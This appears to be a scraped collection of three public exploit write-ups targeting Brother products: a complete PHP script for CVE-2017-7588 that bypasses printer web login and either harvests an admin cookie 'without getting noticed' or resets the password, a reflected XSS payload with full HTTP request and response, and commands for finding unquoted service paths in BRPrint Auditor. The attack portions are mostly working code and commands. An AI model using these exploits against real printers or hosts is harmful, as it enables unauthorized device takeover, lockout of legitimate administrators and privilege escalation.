# Affected models: Most of Brother devices from MFC, DCP, HL & ADS Series - see vulnerable models below for more info
# Release date: 11.04.2017
# CVE: CVE-2017-7588
# Author: Patryk Bogdan (@patryk_bogdan)

--

Description:
Most of Brother devices web authorization can be bypassed through trivial bug in login proccess.
Even after failed login attempt, in http response headers appears valid authorization cookie.

PoC for MFC-J6520DW:
usr@lnx:~# curl -sD - --data "B734=xyz&loginurl=%2Fgeneral%2Fstatus.html" http://192.168.1.111/general/status.html -o /dev/null | grep Cookie
Set-Cookie: AuthCookie=c243a9ee18a9327bfd419f31e75e71c7; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/; 

--

Modes:
silent: Gives authorized cookie without changing password, so you can login without getting noticed.
changepass: Change login password to the one you provided.

Note:
Authorization cookie is fixed and it is created as following:
Plaintext password --> ASCII hex --> md5
(e.g. AuthCookie=c243a9ee18a9327bfd419f31e75e71c7 for 'test' password)

This information can be used to crack current password from exported cookie.

Fix:
Minimize network access to Brother MFC device or disable HTTP(S) interface.

Confirmed vulnerable:
MFC-J6973CDW 
MFC-J4420DW 
MFC-8710DW 
MFC-J4620DW 
MFC-L8850CDW 
MFC-J3720 
MFC-J6520DW 
MFC-L2740DW 
MFC-J5910DW 
MFC-J6920DW 
MFC-L2700DW 
MFC-9130CW 
MFC-9330CDW 
MFC-9340CDW
MFC-J5620DW
MFC-J6720DW
MFC-L8600CDW
MFC-L9550CDW
MFC-L2720DW
DCP-L2540DW
DCP-L2520DW
HL-3140CW
HL-3170CDW
HL-3180CDW
HL-L8350CDW
HL-L2380DW
ADS-2500W
ADS-1000W
ADS-1500W

For educational purposes only.

*/


/* ----------------------------- */

$address = "http://192.168.1.111";

//$mode    = "silent";

$mode    = "changepass";
$newpass = "letmein";


/* ----------------------------- */

$user_agent = 'Mozilla/5.0 (Windows NT 6.1; rv:11.0) Gecko/20100101 Firefox/11.0';
$address = preg_replace('{/$}', '', $address);
libxml_use_internal_errors(true);

function getPwdValue($address) {
	
	global $user_agent;
	
	$ch = curl_init();
	curl_setopt($ch, CURLOPT_URL, $address."/admin/password.html");				
	curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
	curl_setopt($ch, CURLOPT_COOKIE, getCookie($address));
	curl_setopt($ch, CURLOPT_HEADER, 1);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
	curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
	curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
	$content = curl_exec($ch);
	
	$dom = new DOMDocument();
    $dom->loadHTML($content);
	$inputs = $dom->getElementsByTagName('input');
	foreach($inputs as $i) {
		if($i->getAttribute('id') === $i->getAttribute('name') && $i->getAttribute('type') === 'password') {
		return $i->getAttribute('name');
		}
	}
	
}

function getLogValue($address) {
			
	global $user_agent;
	
	$ch = curl_init();
	curl_setopt($ch, CURLOPT_URL, $address);				
	curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
	curl_setopt($ch, CURLOPT_HEADER, 1);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
	curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
	curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
	$content = curl_exec($ch);
	
	$dom = new DOMDocument();
	$dom->loadHTML($content);
	
	if(strstr($dom->getElementsByTagName('a')->item(0)->nodeValue, 'Please configure the password')) { 
		print 'Seems like password is not set! Exiting.'; exit; }
			
	$value = $dom->getElementById('LogBox')->getAttribute('name');
	return $value;
	
}

function getCookie($host) {
	
	global $address, $user_agent;
	
	$log_var = getLogValue($address);
	
	$ch = curl_init();
	curl_setopt($ch, CURLOPT_URL, $address."/general/status.html");
	curl_setopt($ch, CURLOPT_POST, 1);
	curl_setopt($ch, CURLOPT_POSTFIELDS,
        $log_var."=xyz&loginurl=%2Fgeneral%2Fstatus.html");					
	curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
	curl_setopt($ch, CURLOPT_HEADER, 1);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
	curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
	curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
	$content = curl_exec($ch);
	
	if($content == true) {
	$cookies = array();
	preg_match_all('/Set-Cookie:(?<cookie>\s{0,}.*)$/im', $content, $cookies);

	if(!empty($cookies['cookie'])) {
		$exploded = explode(';', $cookies['cookie'][0]);
	} else { print 'Failed getting cookies for '.$address.' address - check your settings'; exit; }
	} else { print 'Got error requesting '.$address.' address - check your settings'; exit; }
	
	return trim($exploded[0]);
	
}

if($mode === "silent") {

	print 'Here\'s your authorization cookie: '.getCookie($address);
	
} elseif ($mode === "changepass") {
	
	global $address, $newpass;
	
	$cookie  = getCookie($address);
	$pwd_var = getPwdValue($address);
	
	$ch = curl_init();
	curl_setopt($ch, CURLOPT_URL, $address."/admin/password.html");
	curl_setopt($ch, CURLOPT_POST, 1);
	curl_setopt($ch, CURLOPT_POSTFIELDS,
            "pageid=1&".$pwd_var."=".$newpass."&temp_retypePass=".$newpass);
	curl_setopt($ch, CURLOPT_COOKIE, $cookie);
	curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
	curl_setopt($ch, CURLOPT_HEADER, 1);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
	curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
	curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
	$content = curl_exec($ch);

	if($content == true) {
		print 'Password changed to: '.$newpass;
	} else { print 'Got error requesting '.$address.' address - check your settings'; exit; }	
	
}

?>
HireHackking 
# Exploit Title: [ XSS at Brother HL series printers]

 
# Date: [30.05.2018]
 
# Exploit Author: [Huy Kha]

# Vendor Homepage: [http://support.brother.com]
 
# Software Link: [ Website ]
 
# Version: Brother HL series printers.

# Tested on: Mozilla FireFox 
 
# Reflected XSS Payload :

"--!><Svg/OnLoad=(confirm)(1)>"

# Description : Starting searching for printers without having a password. 
When you see a yellow bar with ''Configure the password'' you can take over the full printer by putting a password on it.


# PoC :
If you want to execute the XSS you need to be loged into the web interface first. 

# Example :

1. Go to the following url: http://127.0.0.1/
2. Login with ''admin'' as password
3. Intercept now the request with Burpsuite
4. The XSS exist in the loginerror.html?url= parameter

4. Demo URL: http://127.0.0.1/etc/loginerror.html?url=%2Fnet%2Fnet%2Fservice_detail.html%3Fservice%3D%2522--!%253E%253CSvg%2FOnLoad%3D(confirm)(1)%253E%2522%26pageid%3D241


# Request :

GET /etc/loginerror.html?url=%2Fnet%2Fnet%2Fservice_detail.html%3Fservice%3D%2522--!%253E%253CSvg%2FOnLoad%3D(confirm)(1)%253E%2522%26pageid%3D241 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: nl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0


# Response :

HTTP/1.1 200 OK
Cache-Control: no-cache
Content-Length: 3389
Content-Type: text/html
Content-Language: nl
Connection: close
Server: debut/1.20
Pragma: no-cache

<?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html lang="nl" xmlns="http://www.w3.org/1999/xhtml" xml:lang="nl"><head><meta http-equiv="Content-Script-Type" content="text/javascript" /><meta http-equiv="content-style-type" content="text/css" /><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /><script type="text/javascript" src="/common/js/ews.js"></script>
 <link rel="stylesheet" type="text/css" href="../common/css/common.css" /> 
 <link rel="stylesheet" type="text/css" href="../common/css/ews.css" /><title>Brother HL-L2340D series</title></head><body><div id="baseFrame"><div id="frameContainer"><div id="headerFrameContainerLeft"><div id="headerFrameContainerRight"><div id="headerFrameInner"><div id="headerFrame"><div id="modelName"><h1>HL-L2340D series</h1><div class="SetBox" id="SetBoxAuthRight"><div id="SetBoxAuthLeft"><form method="post" action="/general/status.html"><div>Log&#32;in<input type="password" id="LogBox" name="B1d6" /><input type="hidden" name="loginurl" value="/net/net/service_detail.html?service="--!><Svg/OnLoad=(confirm)(1)>"&pageid=241"/><input id="login" type="submit" value="&nbsp;" /></div></form></div></div></div><div id="corporateLogo"><img src="/common/images/logo.gif" alt="Brother" /></div></div><div id="solutions"><div><span><a href="http://solutions.brother.com/cgi-bin/solutions.cgi?MDL=prn088&LNG=en&SRC=DEVICE">Brother<br />Solutions&#32;Center</a></span></div></div><div id="tabMenu"><ul><li><ul><li class="selected"><p>Algemeen</p></li></ul></li></ul></div></div></div></div><div id="mainFrameContainer"><div id="mainFrameTopLeft"><div id="mainFrameTopRight"><div id="mainFrameTopInner"><div id="subTabMenu">&nbsp;</div></div></div></div><div id="mainFrameInner"><div id="subMenu"><div><a href="/general/status.html">Status</a></div><div><a href="/general/reflesh.html" class="subPage">Interval&#32;voor&#32;autom.&#32;vernieuwen</a></div><div><a href="/general/information.html?kind=item">Onderhoudsinformatie</a></div><div><a href="/general/lists.html">Lijsten/Rapporten</a></div><div><a href="/general/find.html">Apparaat&#32;zoeken</a></div><div><a href="/general/contact.html">Contactpersoon&#32;&&#32;locatie</a></div><div><a href="/general/sleep.html">Slaapstand</a></div><div><a href="/general/powerdown.html">Automatisch&#32;uitschakelen</a></div><div><a href="/general/language.html">Taal</a></div><div><a href="/general/panel.html">Paneel</a></div><div><a href="/general/replacetoner.html">Toner&#32;vervangen</a></div></div><div id="rightFrameContainer"><div id="rightFrame"><div id="mainContent"><div id="pageTitle"><h2>Log&#32;in</h2></div><div id="pageContents"><div class="contentsGroup"><p class="noteMessage">Om&#32;deze&#32;pagina&#32;te&#32;openen&#32;moet&#32;u&#32;inloggen.&#32;Log&#32;in&#32;s.v.p.</p></div></div></div></div></div><script type="text/javascript"><!--
SetMinHeight();
// --></script></div><div id="mainFrameBottomLeft"><div id="mainFrameBottomRight"><div id="mainFrameBottomInner"></div></div></div></div><div id="footerFrameContainer"><div id="copyright">Copyright(C) 2000-2014 Brother Industries, Ltd. All Rights Reserved.</div><div id="topBack"><a href="#">Top<img src="/common/images/ic_pt.gif" alt="Top" /></a></div></div></div></div></body></html>



# How to fix it? : Update the printer to Firmware 1.16 and set a new password.

# Screenshot : https://imgur.com/a/3OVTSZ4


# Note: The vendor has been contacted on 30-5-2018.
HireHackking 
# Exploit Title: Brother BRPrint Auditor 3.0.7 - 'Multiple' Unquoted Service Path
# Discovery by: Brian Rodriguez
# Date: 14-06-2021
# Vendor Homepage: https://support.brother.com/
# Software Links: https://support.brother.com/g/b/downloadhowto.aspx?c=us&lang=en&prod=dcp7060d_all&os=10013&dlid=dlf102753_000&flang=4&type3=214
# Tested Version: 3.0.7
# Vulnerability Type: Unquoted Service Path
# Tested on: Windows 10 Enterprise

# Step to discover Unquoted Service Path:

C:\>wmic service get name,displayname,pathname,startmode |findstr /i "auto"
|findstr /i /v "c:\windows\\" |findstr /i /v """
BrPrAuSvc     BrAuSvc      C:\Program Files
(x86)\Brother\BRPrintAuditor\Brsvau3a.exe       Auto

Brother BRPrintAuditor Agent     BRPA_Agent   C:\Program Files
(x86)\Brother\BRPrintAuditor\BRAgtSrv.exe    Auto

C:\Users\IEUser>sc qc BrAuSvc
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: BrAuSvc
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files
(x86)\Brother\BRPrintAuditor\Brsvau3a.exe
        GRUPO_ORDEN_CARGA  : BrotherSplGroup
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : BrPrAuSvc
        DEPENDENCIAS       : Spooler
        NOMBRE_INICIO_SERVICIO: LocalSystem

C:\Users\IEUser>sc qc BRPA_Agent
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: BRPA_Agent
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files
(x86)\Brother\BRPrintAuditor\BRAgtSrv.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : Brother BRPrintAuditor Agent
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem